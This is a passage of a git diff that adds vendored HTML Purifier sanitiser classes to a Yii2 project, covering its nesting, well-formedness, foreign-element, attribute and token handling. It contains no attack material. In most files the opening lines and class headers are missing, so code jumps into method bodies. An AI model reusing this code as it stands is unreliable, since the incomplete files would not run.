(isset($node->children[$ix])) { + $child = $node->children[$ix++]; + if ($child instanceof HTMLPurifier_Node_Element) { + $go = true; + $stack[] = array($node, $is_inline, $excludes, $ix); + $stack[] = array($child, + // ToDo: I don't think it matters if it's def or + // child_def, but double check this... + $is_inline || $def->descendants_are_inline, + empty($def->excludes) ? $excludes + : array_merge($excludes, $def->excludes), + 0); + break; + } + }; + if ($go) continue; + list($token, $d) = $node->toTokenPair(); + // base case + if ($excludes_enabled && isset($excludes[$node->name])) { + $node->dead = true; + if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded'); + } else { + // XXX I suppose it would be slightly more efficient to + // avoid the allocation here and have children + // strategies handle it + $children = array(); + foreach ($node->children as $child) { + if (!$child->dead) $children[] = $child; + } + $result = $def->child->validateChildren($children, $config, $context); + if ($result === true) { + // nop + $node->children = $children; + } elseif ($result === false) { + $node->dead = true; + if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node removed'); + } else { + $node->children = $result; + if ($e) { + // XXX This will miss mutations of internal nodes. Perhaps defer to the child validators + if (empty($result) && !empty($children)) { + $e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed'); + } else if ($result != $children) { + $e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized'); + } + } + } + } + } + + //####################################################################// + // Post-processing + + // remove context variables + $context->destroy('IsInline'); + $context->destroy('CurrentNode'); + $context->destroy('CurrentToken'); + + //####################################################################// + // Return + + return HTMLPurifier_Arborize::flatten($node, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php new file mode 100644 index 00000000..e389e001 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/MakeWellFormed.php @@ -0,0 +1,600 @@ +getHTMLDefinition(); + + // local variables + $generator = new HTMLPurifier_Generator($config, $context); + $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); + // used for autoclose early abortion + $global_parent_allowed_elements = $definition->info_parent_def->child->getAllowedElements($config); + $e = $context->get('ErrorCollector', true); + $i = false; // injector index + list($zipper, $token) = HTMLPurifier_Zipper::fromArray($tokens); + if ($token === NULL) { + return array(); + } + $reprocess = false; // whether or not to reprocess the same token + $stack = array(); + + // member variables + $this->stack =& $stack; + $this->tokens =& $tokens; + $this->token =& $token; + $this->zipper =& $zipper; + $this->config = $config; + $this->context = $context; + + // context variables + $context->register('CurrentNesting', $stack); + $context->register('InputZipper', $zipper); + $context->register('CurrentToken', $token); + + // -- begin INJECTOR -- + + $this->injectors = array(); + + $injectors = $config->getBatch('AutoFormat'); + $def_injectors = $definition->info_injector; + $custom_injectors = $injectors['Custom']; + unset($injectors['Custom']); // special case + foreach ($injectors as $injector => $b) { + // XXX: Fix with a legitimate lookup table of enabled filters + if (strpos($injector, '.') !== false) { + continue; + } + $injector = "HTMLPurifier_Injector_$injector"; + if (!$b) { + continue; + } + $this->injectors[] = new $injector; + } + foreach ($def_injectors as $injector) { + // assumed to be objects + $this->injectors[] = $injector; + } + foreach ($custom_injectors as $injector) { + if (!$injector) { + continue; + } + if (is_string($injector)) { + $injector = "HTMLPurifier_Injector_$injector"; + $injector = new $injector; + } + $this->injectors[] = $injector; + } + + // give the injectors references to the definition and context + // variables for performance reasons + foreach ($this->injectors as $ix => $injector) { + $error = $injector->prepare($config, $context); + if (!$error) { + continue; + } + array_splice($this->injectors, $ix, 1); // rm the injector + trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING); + } + + // -- end INJECTOR -- + + // a note on reprocessing: + // In order to reduce code duplication, whenever some code needs + // to make HTML changes in order to make things "correct", the + // new HTML gets sent through the purifier, regardless of its + // status. This means that if we add a start token, because it + // was totally necessary, we don't have to update nesting; we just + // punt ($reprocess = true; continue;) and it does that for us. + + // isset is in loop because $tokens size changes during loop exec + for (;; + // only increment if we don't need to reprocess + $reprocess ? $reprocess = false : $token = $zipper->next($token)) { + + // check for a rewind + if (is_int($i)) { + // possibility: disable rewinding if the current token has a + // rewind set on it already. This would offer protection from + // infinite loop, but might hinder some advanced rewinding. + $rewind_offset = $this->injectors[$i]->getRewindOffset(); + if (is_int($rewind_offset)) { + for ($j = 0; $j < $rewind_offset; $j++) { + if (empty($zipper->front)) break; + $token = $zipper->prev($token); + // indicate that other injectors should not process this token, + // but we need to reprocess it + unset($token->skip[$i]); + $token->rewind = $i; + if ($token instanceof HTMLPurifier_Token_Start) { + array_pop($this->stack); + } elseif ($token instanceof HTMLPurifier_Token_End) { + $this->stack[] = $token->start; + } + } + } + $i = false; + } + + // handle case of document end + if ($token === NULL) { + // kill processing if stack is empty + if (empty($this->stack)) { + break; + } + + // peek + $top_nesting = array_pop($this->stack); + $this->stack[] = $top_nesting; + + // send error [TagClosedSuppress] + if ($e && !isset($top_nesting->armor['MakeWellFormed_TagClosedError'])) { + $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $top_nesting); + } + + // append, don't splice, since this is the end + $token = new HTMLPurifier_Token_End($top_nesting->name); + + // punt! + $reprocess = true; + continue; + } + + //echo '
          '; printZipper($zipper, $token);//printTokens($this->stack); + //flush(); + + // quick-check: if it's not a tag, no need to process + if (empty($token->is_tag)) { + if ($token instanceof HTMLPurifier_Token_Text) { + foreach ($this->injectors as $i => $injector) { + if (isset($token->skip[$i])) { + continue; + } + if ($token->rewind !== null && $token->rewind !== $i) { + continue; + } + // XXX fuckup + $r = $token; + $injector->handleText($r); + $token = $this->processToken($r, $i); + $reprocess = true; + break; + } + } + // another possibility is a comment + continue; + } + + if (isset($definition->info[$token->name])) { + $type = $definition->info[$token->name]->child->type; + } else { + $type = false; // Type is unknown, treat accordingly + } + + // quick tag checks: anything that's *not* an end tag + $ok = false; + if ($type === 'empty' && $token instanceof HTMLPurifier_Token_Start) { + // claims to be a start tag but is empty + $token = new HTMLPurifier_Token_Empty( + $token->name, + $token->attr, + $token->line, + $token->col, + $token->armor + ); + $ok = true; + } elseif ($type && $type !== 'empty' && $token instanceof HTMLPurifier_Token_Empty) { + // claims to be empty but really is a start tag + // NB: this assignment is required + $old_token = $token; + $token = new HTMLPurifier_Token_End($token->name); + $token = $this->insertBefore( + new HTMLPurifier_Token_Start($old_token->name, $old_token->attr, $old_token->line, $old_token->col, $old_token->armor) + ); + // punt (since we had to modify the input stream in a non-trivial way) + $reprocess = true; + continue; + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + // real empty token + $ok = true; + } elseif ($token instanceof HTMLPurifier_Token_Start) { + // start tag + + // ...unless they also have to close their parent + if (!empty($this->stack)) { + + // Performance note: you might think that it's rather + // inefficient, recalculating the autoclose information + // for every tag that a token closes (since when we + // do an autoclose, we push a new token into the + // stream and then /process/ that, before + // re-processing this token.) But this is + // necessary, because an injector can make an + // arbitrary transformations to the autoclosing + // tokens we introduce, so things may have changed + // in the meantime. Also, doing the inefficient thing is + // "easy" to reason about (for certain perverse definitions + // of "easy") + + $parent = array_pop($this->stack); + $this->stack[] = $parent; + + $parent_def = null; + $parent_elements = null; + $autoclose = false; + if (isset($definition->info[$parent->name])) { + $parent_def = $definition->info[$parent->name]; + $parent_elements = $parent_def->child->getAllowedElements($config); + $autoclose = !isset($parent_elements[$token->name]); + } + + if ($autoclose && $definition->info[$token->name]->wrap) { + // Check if an element can be wrapped by another + // element to make it valid in a context (for + // example,
              needs a
            • in between) + $wrapname = $definition->info[$token->name]->wrap; + $wrapdef = $definition->info[$wrapname]; + $elements = $wrapdef->child->getAllowedElements($config); + if (isset($elements[$token->name]) && isset($parent_elements[$wrapname])) { + $newtoken = new HTMLPurifier_Token_Start($wrapname); + $token = $this->insertBefore($newtoken); + $reprocess = true; + continue; + } + } + + $carryover = false; + if ($autoclose && $parent_def->formatting) { + $carryover = true; + } + + if ($autoclose) { + // check if this autoclose is doomed to fail + // (this rechecks $parent, which his harmless) + $autoclose_ok = isset($global_parent_allowed_elements[$token->name]); + if (!$autoclose_ok) { + foreach ($this->stack as $ancestor) { + $elements = $definition->info[$ancestor->name]->child->getAllowedElements($config); + if (isset($elements[$token->name])) { + $autoclose_ok = true; + break; + } + if ($definition->info[$token->name]->wrap) { + $wrapname = $definition->info[$token->name]->wrap; + $wrapdef = $definition->info[$wrapname]; + $wrap_elements = $wrapdef->child->getAllowedElements($config); + if (isset($wrap_elements[$token->name]) && isset($elements[$wrapname])) { + $autoclose_ok = true; + break; + } + } + } + } + if ($autoclose_ok) { + // errors need to be updated + $new_token = new HTMLPurifier_Token_End($parent->name); + $new_token->start = $parent; + // [TagClosedSuppress] + if ($e && !isset($parent->armor['MakeWellFormed_TagClosedError'])) { + if (!$carryover) { + $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent); + } else { + $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $parent); + } + } + if ($carryover) { + $element = clone $parent; + // [TagClosedAuto] + $element->armor['MakeWellFormed_TagClosedError'] = true; + $element->carryover = true; + $token = $this->processToken(array($new_token, $token, $element)); + } else { + $token = $this->insertBefore($new_token); + } + } else { + $token = $this->remove(); + } + $reprocess = true; + continue; + } + + } + $ok = true; + } + + if ($ok) { + foreach ($this->injectors as $i => $injector) { + if (isset($token->skip[$i])) { + continue; + } + if ($token->rewind !== null && $token->rewind !== $i) { + continue; + } + $r = $token; + $injector->handleElement($r); + $token = $this->processToken($r, $i); + $reprocess = true; + break; + } + if (!$reprocess) { + // ah, nothing interesting happened; do normal processing + if ($token instanceof HTMLPurifier_Token_Start) { + $this->stack[] = $token; + } elseif ($token instanceof HTMLPurifier_Token_End) { + throw new HTMLPurifier_Exception( + 'Improper handling of end tag in start code; possible error in MakeWellFormed' + ); + } + } + continue; + } + + // sanity check: we should be dealing with a closing tag + if (!$token instanceof HTMLPurifier_Token_End) { + throw new HTMLPurifier_Exception('Unaccounted for tag token in input stream, bug in HTML Purifier'); + } + + // make sure that we have something open + if (empty($this->stack)) { + if ($escape_invalid_tags) { + if ($e) { + $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); + } + $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token)); + } else { + if ($e) { + $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); + } + $token = $this->remove(); + } + $reprocess = true; + continue; + } + + // first, check for the simplest case: everything closes neatly. + // Eventually, everything passes through here; if there are problems + // we modify the input stream accordingly and then punt, so that + // the tokens get processed again. + $current_parent = array_pop($this->stack); + if ($current_parent->name == $token->name) { + $token->start = $current_parent; + foreach ($this->injectors as $i => $injector) { + if (isset($token->skip[$i])) { + continue; + } + if ($token->rewind !== null && $token->rewind !== $i) { + continue; + } + $r = $token; + $injector->handleEnd($r); + $token = $this->processToken($r, $i); + $this->stack[] = $current_parent; + $reprocess = true; + break; + } + continue; + } + + // okay, so we're trying to close the wrong tag + + // undo the pop previous pop + $this->stack[] = $current_parent; + + // scroll back the entire nest, trying to find our tag. + // (feature could be to specify how far you'd like to go) + $size = count($this->stack); + // -2 because -1 is the last element, but we already checked that + $skipped_tags = false; + for ($j = $size - 2; $j >= 0; $j--) { + if ($this->stack[$j]->name == $token->name) { + $skipped_tags = array_slice($this->stack, $j); + break; + } + } + + // we didn't find the tag, so remove + if ($skipped_tags === false) { + if ($escape_invalid_tags) { + if ($e) { + $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); + } + $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token)); + } else { + if ($e) { + $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); + } + $token = $this->remove(); + } + $reprocess = true; + continue; + } + + // do errors, in REVERSE $j order: a,b,c with + $c = count($skipped_tags); + if ($e) { + for ($j = $c - 1; $j > 0; $j--) { + // notice we exclude $j == 0, i.e. the current ending tag, from + // the errors... [TagClosedSuppress] + if (!isset($skipped_tags[$j]->armor['MakeWellFormed_TagClosedError'])) { + $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$j]); + } + } + } + + // insert tags, in FORWARD $j order: c,b,a with + $replace = array($token); + for ($j = 1; $j < $c; $j++) { + // ...as well as from the insertions + $new_token = new HTMLPurifier_Token_End($skipped_tags[$j]->name); + $new_token->start = $skipped_tags[$j]; + array_unshift($replace, $new_token); + if (isset($definition->info[$new_token->name]) && $definition->info[$new_token->name]->formatting) { + // [TagClosedAuto] + $element = clone $skipped_tags[$j]; + $element->carryover = true; + $element->armor['MakeWellFormed_TagClosedError'] = true; + $replace[] = $element; + } + } + $token = $this->processToken($replace); + $reprocess = true; + continue; + } + + $context->destroy('CurrentToken'); + $context->destroy('CurrentNesting'); + $context->destroy('InputZipper'); + + unset($this->injectors, $this->stack, $this->tokens); + return $zipper->toArray($token); + } + + /** + * Processes arbitrary token values for complicated substitution patterns. + * In general: + * + * If $token is an array, it is a list of tokens to substitute for the + * current token. These tokens then get individually processed. If there + * is a leading integer in the list, that integer determines how many + * tokens from the stream should be removed. + * + * If $token is a regular token, it is swapped with the current token. + * + * If $token is false, the current token is deleted. + * + * If $token is an integer, that number of tokens (with the first token + * being the current one) will be deleted. + * + * @param HTMLPurifier_Token|array|int|bool $token Token substitution value + * @param HTMLPurifier_Injector|int $injector Injector that performed the substitution; default is if + * this is not an injector related operation. + * @throws HTMLPurifier_Exception + */ + protected function processToken($token, $injector = -1) + { + // normalize forms of token + if (is_object($token)) { + $token = array(1, $token); + } + if (is_int($token)) { + $token = array($token); + } + if ($token === false) { + $token = array(1); + } + if (!is_array($token)) { + throw new HTMLPurifier_Exception('Invalid token type from injector'); + } + if (!is_int($token[0])) { + array_unshift($token, 1); + } + if ($token[0] === 0) { + throw new HTMLPurifier_Exception('Deleting zero tokens is not valid'); + } + + // $token is now an array with the following form: + // array(number nodes to delete, new node 1, new node 2, ...) + + $delete = array_shift($token); + list($old, $r) = $this->zipper->splice($this->token, $delete, $token); + + if ($injector > -1) { + // determine appropriate skips + $oldskip = isset($old[0]) ? $old[0]->skip : array(); + foreach ($token as $object) { + $object->skip = $oldskip; + $object->skip[$injector] = true; + } + } + + return $r; + + } + + /** + * Inserts a token before the current token. Cursor now points to + * this token. You must reprocess after this. + * @param HTMLPurifier_Token $token + */ + private function insertBefore($token) + { + // NB not $this->zipper->insertBefore(), due to positioning + // differences + $splice = $this->zipper->splice($this->token, 0, array($token)); + + return $splice[1]; + } + + /** + * Removes current token. Cursor now points to new token occupying previously + * occupied space. You must reprocess after this. + */ + private function remove() + { + return $this->zipper->delete(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php new file mode 100644 index 00000000..1a8149ec --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/RemoveForeignElements.php @@ -0,0 +1,207 @@ +getHTMLDefinition(); + $generator = new HTMLPurifier_Generator($config, $context); + $result = array(); + + $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); + $remove_invalid_img = $config->get('Core.RemoveInvalidImg'); + + // currently only used to determine if comments should be kept + $trusted = $config->get('HTML.Trusted'); + $comment_lookup = $config->get('HTML.AllowedComments'); + $comment_regexp = $config->get('HTML.AllowedCommentsRegexp'); + $check_comments = $comment_lookup !== array() || $comment_regexp !== null; + + $remove_script_contents = $config->get('Core.RemoveScriptContents'); + $hidden_elements = $config->get('Core.HiddenElements'); + + // remove script contents compatibility + if ($remove_script_contents === true) { + $hidden_elements['script'] = true; + } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { + unset($hidden_elements['script']); + } + + $attr_validator = new HTMLPurifier_AttrValidator(); + + // removes tokens until it reaches a closing tag with its value + $remove_until = false; + + // converts comments into text tokens when this is equal to a tag name + $textify_comments = false; + + $token = false; + $context->register('CurrentToken', $token); + + $e = false; + if ($config->get('Core.CollectErrors')) { + $e =& $context->get('ErrorCollector'); + } + + foreach ($tokens as $token) { + if ($remove_until) { + if (empty($token->is_tag) || $token->name !== $remove_until) { + continue; + } + } + if (!empty($token->is_tag)) { + // DEFINITION CALL + + // before any processing, try to transform the element + if (isset($definition->info_tag_transform[$token->name])) { + $original_name = $token->name; + // there is a transformation for this tag + // DEFINITION CALL + $token = $definition-> + info_tag_transform[$token->name]->transform($token, $config, $context); + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); + } + } + + if (isset($definition->info[$token->name])) { + // mostly everything's good, but + // we need to make sure required attributes are in order + if (($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && + $definition->info[$token->name]->required_attr && + ($token->name != 'img' || $remove_invalid_img) // ensure config option still works + ) { + $attr_validator->validateToken($token, $config, $context); + $ok = true; + foreach ($definition->info[$token->name]->required_attr as $name) { + if (!isset($token->attr[$name])) { + $ok = false; + break; + } + } + if (!$ok) { + if ($e) { + $e->send( + E_ERROR, + 'Strategy_RemoveForeignElements: Missing required attribute', + $name + ); + } + continue; + } + $token->armor['ValidateAttributes'] = true; + } + + if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) { + $textify_comments = $token->name; + } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) { + $textify_comments = false; + } + + } elseif ($escape_invalid_tags) { + // invalid tag, generate HTML representation and insert in + if ($e) { + $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); + } + $token = new HTMLPurifier_Token_Text( + $generator->generateFromToken($token) + ); + } else { + // check if we need to destroy all of the tag's children + // CAN BE GENERICIZED + if (isset($hidden_elements[$token->name])) { + if ($token instanceof HTMLPurifier_Token_Start) { + $remove_until = $token->name; + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + // do nothing: we're still looking + } else { + $remove_until = false; + } + if ($e) { + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); + } + } else { + if ($e) { + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); + } + } + continue; + } + } elseif ($token instanceof HTMLPurifier_Token_Comment) { + // textify comments in script tags when they are allowed + if ($textify_comments !== false) { + $data = $token->data; + $token = new HTMLPurifier_Token_Text($data); + } elseif ($trusted || $check_comments) { + // always cleanup comments + $trailing_hyphen = false; + if ($e) { + // perform check whether or not there's a trailing hyphen + if (substr($token->data, -1) == '-') { + $trailing_hyphen = true; + } + } + $token->data = rtrim($token->data, '-'); + $found_double_hyphen = false; + while (strpos($token->data, '--') !== false) { + $found_double_hyphen = true; + $token->data = str_replace('--', '-', $token->data); + } + if ($trusted || !empty($comment_lookup[trim($token->data)]) || + ($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) { + // OK good + if ($e) { + if ($trailing_hyphen) { + $e->send( + E_NOTICE, + 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' + ); + } + if ($found_double_hyphen) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); + } + } + } else { + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + } + continue; + } + } else { + // strip comments + if ($e) { + $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + } + continue; + } + } elseif ($token instanceof HTMLPurifier_Token_Text) { + } else { + continue; + } + $result[] = $token; + } + if ($remove_until && $e) { + // we removed tokens until the end, throw error + $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); + } + $context->destroy('CurrentToken'); + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php new file mode 100644 index 00000000..fbb3d27c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php @@ -0,0 +1,45 @@ +register('CurrentToken', $token); + + foreach ($tokens as $key => $token) { + + // only process tokens that have attributes, + // namely start and empty tags + if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) { + continue; + } + + // skip tokens that are armored + if (!empty($token->armor['ValidateAttributes'])) { + continue; + } + + // note that we have no facilities here for removing tokens + $validator->validateToken($token, $config, $context); + } + $context->destroy('CurrentToken'); + return $tokens; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php new file mode 100644 index 00000000..c0737019 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php @@ -0,0 +1,47 @@ +accessed[$index] = true; + return parent::offsetGet($index); + } + + /** + * Returns a lookup array of all array indexes that have been accessed. + * @return array in form array($index => true). + */ + public function getAccessed() + { + return $this->accessed; + } + + /** + * Resets the access array. + */ + public function resetAccessed() + { + $this->accessed = array(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php new file mode 100644 index 00000000..7c73f808 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php @@ -0,0 +1,136 @@ + 'DefaultKeyValue', + * 'KEY' => 'Value', + * 'KEY2' => 'Value2', + * 'MULTILINE-KEY' => "Multiline\nvalue.\n", + * ) + * + * We use this as an easy to use file-format for configuration schema + * files, but the class itself is usage agnostic. + * + * You can use ---- to forcibly terminate parsing of a single string-hash; + * this marker is used in multi string-hashes to delimit boundaries. + */ +class HTMLPurifier_StringHashParser +{ + + /** + * @type string + */ + public $default = 'ID'; + + /** + * Parses a file that contains a single string-hash. + * @param string $file + * @return array + */ + public function parseFile($file) + { + if (!file_exists($file)) { + return false; + } + $fh = fopen($file, 'r'); + if (!$fh) { + return false; + } + $ret = $this->parseHandle($fh); + fclose($fh); + return $ret; + } + + /** + * Parses a file that contains multiple string-hashes delimited by '----' + * @param string $file + * @return array + */ + public function parseMultiFile($file) + { + if (!file_exists($file)) { + return false; + } + $ret = array(); + $fh = fopen($file, 'r'); + if (!$fh) { + return false; + } + while (!feof($fh)) { + $ret[] = $this->parseHandle($fh); + } + fclose($fh); + return $ret; + } + + /** + * Internal parser that acepts a file handle. + * @note While it's possible to simulate in-memory parsing by using + * custom stream wrappers, if such a use-case arises we should + * factor out the file handle into its own class. + * @param resource $fh File handle with pointer at start of valid string-hash + * block. + * @return array + */ + protected function parseHandle($fh) + { + $state = false; + $single = false; + $ret = array(); + do { + $line = fgets($fh); + if ($line === false) { + break; + } + $line = rtrim($line, "\n\r"); + if (!$state && $line === '') { + continue; + } + if ($line === '----') { + break; + } + if (strncmp('--#', $line, 3) === 0) { + // Comment + continue; + } elseif (strncmp('--', $line, 2) === 0) { + // Multiline declaration + $state = trim($line, '- '); + if (!isset($ret[$state])) { + $ret[$state] = ''; + } + continue; + } elseif (!$state) { + $single = true; + if (strpos($line, ':') !== false) { + // Single-line declaration + list($state, $line) = explode(':', $line, 2); + $line = trim($line); + } else { + // Use default declaration + $state = $this->default; + } + } + if ($single) { + $ret[$state] = $line; + $single = false; + $state = false; + } else { + $ret[$state] .= "$line\n"; + } + } while (!feof($fh)); + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php new file mode 100644 index 00000000..7b8d8334 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php @@ -0,0 +1,37 @@ + 'xx-small', + '1' => 'xx-small', + '2' => 'small', + '3' => 'medium', + '4' => 'large', + '5' => 'x-large', + '6' => 'xx-large', + '7' => '300%', + '-1' => 'smaller', + '-2' => '60%', + '+1' => 'larger', + '+2' => '150%', + '+3' => '200%', + '+4' => '300%' + ); + + /** + * @param HTMLPurifier_Token_Tag $tag + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_Token_End|string + */ + public function transform($tag, $config, $context) + { + if ($tag instanceof HTMLPurifier_Token_End) { + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + return $new_tag; + } + + $attr = $tag->attr; + $prepend_style = ''; + + // handle color transform + if (isset($attr['color'])) { + $prepend_style .= 'color:' . $attr['color'] . ';'; + unset($attr['color']); + } + + // handle face transform + if (isset($attr['face'])) { + $prepend_style .= 'font-family:' . $attr['face'] . ';'; + unset($attr['face']); + } + + // handle size transform + if (isset($attr['size'])) { + // normalize large numbers + if ($attr['size'] !== '') { + if ($attr['size']{0} == '+' || $attr['size']{0} == '-') { + $size = (int)$attr['size']; + if ($size < -2) { + $attr['size'] = '-2'; + } + if ($size > 4) { + $attr['size'] = '+4'; + } + } else { + $size = (int)$attr['size']; + if ($size > 7) { + $attr['size'] = '7'; + } + } + } + if (isset($this->_size_lookup[$attr['size']])) { + $prepend_style .= 'font-size:' . + $this->_size_lookup[$attr['size']] . ';'; + } + unset($attr['size']); + } + + if ($prepend_style) { + $attr['style'] = isset($attr['style']) ? + $prepend_style . $attr['style'] : + $prepend_style; + } + + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + $new_tag->attr = $attr; + + return $new_tag; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php new file mode 100644 index 00000000..71bf10b9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php @@ -0,0 +1,44 @@ +transform_to = $transform_to; + $this->style = $style; + } + + /** + * @param HTMLPurifier_Token_Tag $tag + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function transform($tag, $config, $context) + { + $new_tag = clone $tag; + $new_tag->name = $this->transform_to; + if (!is_null($this->style) && + ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty) + ) { + $this->prependCSS($new_tag->attr, $this->style); + } + return $new_tag; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php new file mode 100644 index 00000000..85b85e07 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php @@ -0,0 +1,100 @@ +line = $l; + $this->col = $c; + } + + /** + * Convenience function for DirectLex settings line/col position. + * @param int $l + * @param int $c + */ + public function rawPosition($l, $c) + { + if ($c === -1) { + $l++; + } + $this->line = $l; + $this->col = $c; + } + + /** + * Converts a token into its corresponding node. + */ + abstract public function toNode(); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php new file mode 100644 index 00000000..23453c70 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php @@ -0,0 +1,38 @@ +data = $data; + $this->line = $line; + $this->col = $col; + } + + public function toNode() { + return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php new file mode 100644 index 00000000..78a95f55 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php @@ -0,0 +1,15 @@ +empty = true; + return $n; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php new file mode 100644 index 00000000..59b38fdc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php @@ -0,0 +1,24 @@ +toNode not supported!"); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php new file mode 100644 index 00000000..019f317a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php @@ -0,0 +1,10 @@ +!empty($obj->is_tag) + * without having to use a function call is_a(). + * @type bool + */ + public $is_tag = true; + + /** + * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. + * + * @note Strictly speaking, XML tags are case sensitive, so we shouldn't + * be lower-casing them, but these tokens cater to HTML tags, which are + * insensitive. + * @type string + */ + public $name; + + /** + * Associative array of the tag's attributes. + * @type array + */ + public $attr = array(); + + /** + * Non-overloaded constructor, which 